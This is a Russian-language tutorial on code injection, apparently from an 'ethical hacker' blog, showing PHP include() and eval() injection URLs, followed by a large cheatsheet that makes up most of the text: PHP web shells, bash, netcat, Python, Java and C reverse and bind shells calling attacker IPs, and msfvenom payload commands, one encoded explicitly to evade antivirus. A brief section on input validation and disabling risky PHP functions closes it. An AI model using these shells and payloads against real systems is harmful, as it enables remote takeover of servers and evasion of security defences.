Руководство по внедрению кода

Руководство по внедрению кода

Этичный Хакер

Что такое внедрение кода?

OWASP определяет внедрение кода как общий термин для любого типа атаки, который состоит из внедрения кода, который затем интерпретируется и выполняется приложением. Этот тип атаки использует плохую обработку ненадежных данных. Эти типы атак обычно становятся возможными из-за отсутствия надлежащей проверки входных/выходных данных, таких как:

  • разрешенные символы (стандартные классы регулярных выражений или пользовательские)
  • формат данных
  • объем ожидаемых данных

Внедрение кода отличается от внедрения команд тем, что злоумышленник ограничен только функциональностью самого внедренного языка. Если злоумышленник может внедрить и выполнить PHP-код в приложение, то он ограничен только возможностями PHP. Внедрение команд состоит в использовании существующего кода для выполнения команд, обычно в контексте оболочки.

Как это работает?

Сценарий 1: PHP include() function

В этом случае функция PHP include() используется без проверки ввода.

http://vulnerable-site.com/?path=support.php

Чтобы воспользоваться уязвимостью, мы будем хранить нашу полезную нагрузку на внешнем сервере, чтобы вызвать внешний файл и выполнить его на уязвимом сервере:

http://vulnerable-site.com/?path=http://attacker-website/paylaod.php

Сценарий 2: PHP eval() function

В этом примере используется уязвимая функция PHP eval(), которая обеспечивает быстрый и удобный способ выполнения строковых значений в виде PHP-кода, особенно на начальных этапах разработки или для отладки, которая приведет к внедрению кода. Исходный код выглядит следующим образом:

<?php eval ("echo ".$_REQUEST["parameter"].";"); ?>

Параметр передается по URL-адресу следующим образом:

http://vulnerable-site.com/?parameter=value

Злоумышленник, которому известно об используемой функции eval(), может отправить следующую полезную нагрузку, чтобы воспользоваться уязвимостью:

http://vulnerable-site.com/?parameter=value;phpinfo();

В случае успеха функция phpinfo() будет выполнена после "повторения" значения параметра и предоставит информацию о деталях конфигурации.

  • Более того, в случае, если функция system() также включена, это может позволить злоумышленнику выполнять произвольные команды, как показано ниже:
http://vulnerable-site.com/?parameter=value;system('ls -l');

Каково влияние от внедрения кода?

В случае небезопасной обработки вредоносного кода, введенного пользователем, уязвимость позволяет выполнить этот код. Это может привести к выполнению произвольного кода на сервере или к запуску системных команд на сервере, что приводит к атакам с внедрением команд.

Cheatsheet

--------------------------------------------------------------------     
php: 
# Execute one command
<?php system("whoami"); ?>
<?php echo shell_exec("nc.exe -nlvp 4444 -C:\Windows\System32\cmd.exe");?>
# Take input from the url paramter. shell.php?cmd=whoami
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET["cmd"]); ?>
<? passthru($_GET["cmd"]); ?>
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php $c=$_GET[‘c’]; echo `$c`; ?>
# The same but using passthru
<?php passthru($_GET['cmd']); ?>
# For shell_exec to output the result you need to echo it
<?php echo shell_exec("whoami");?>
# preg_replace(). This is a cool trick
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
# Using backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>
# Using backticks
<?php echo `whoami`; ?>
# upload nc.php
<?php echo system("nc -lvp 81 -e cmd.exe");?>
# upload nc.exe
# run nc.php on browser
--------------------------------------------------------------------
Bash:
0<&196;exec 196<>/dev/tcp/192.168.1.101/80; sh <&196 >&196 2>&196
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
bash -i >& /dev/tcp/<your ip>/<your port> 0>&1
nc -nlvp 443
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip> <your port> >/tmp/f
--------------------------------------------------------------------
python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",1234));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
--------------------------------------------------------------------
Java:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
--------------------------------------------------------------------netcat:
# netcat bind shell
nc -vlp 5555 -e /bin/bash
nc 192.168.1.101 5555
# netcat reverse shell
nc -lvp 5555
nc 192.168.1.101 5555 -e /bin/bash
# With -e flag
nc -e /bin/sh <your ip> <your port>
# Without -e flag
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
--------------------------------------------------------------------C
#include <stdlib.h>
int main () {
system("nc.exe -e cmd.exe <myip> <myport>");
return 0;
}
--------------------------------------------------------------------
Msfvenom
--------------------------------------------------------------------
Msfvenom: 
msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe -o shell_reverse.exe
--------------------------------------------------------------------to avoid AV detection, use encryption:
msfvenom -p windows/shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe
--------------------------------------------------------------------php:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<your ip> LPORT=<your port> -f raw > shell.php
--------------------------------------------------------------------
asp: 
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<your ip> LPORT=<your port> -f asp > shell.asp
--------------------------------------------------------------------war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f war > shell.war
--------------------------------------------------------------------JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<your ip> LPORT=<your port> -f raw > shell.jsp
--------------------------------------------------------------------binary:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f elf > shell.elf
--------------------------------------------------------------------List linux meterpreter payloads:
msfvenom --list | grep xxxx
--------------------------------------------------------------------Send linux shell to meterpreter:
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost= lport= -f elf -o msf.bin (set multi handler then)
--------------------------------------------------------------------

Как бороться с внедрением кода?

Чтобы избежать внедрения кода и исправить его, вы можете выполнить следующее действия:

  • Проверка при вводе пользователем: Данные из всех потенциально ненадежных источников должны подвергаться проверке ввода, включая не только веб-клиентов, подключенных к Интернету, но и внутренние каналы через экстрасети, от поставщиков, партнеров, вендоров или регулирующих органов, каждый из которых может быть скомпрометирован сам по себе и начать отправлять искаженные данные.
  • Избегайте использования уязвимых функций в коде: также возможно протестировать код с помощью автоматизированных инструментов для выявления небезопасных функций и возможных уязвимостей.

PS: Обычно отключаемые функции для PHP включают: exec(), passthru(), shell_exec(), system(), proc_open(), popen(), curl_exec(), curl_multi_exec(), parse_ini_file() и show_source().

Более подробное описание данной темы, здесь:


Report Page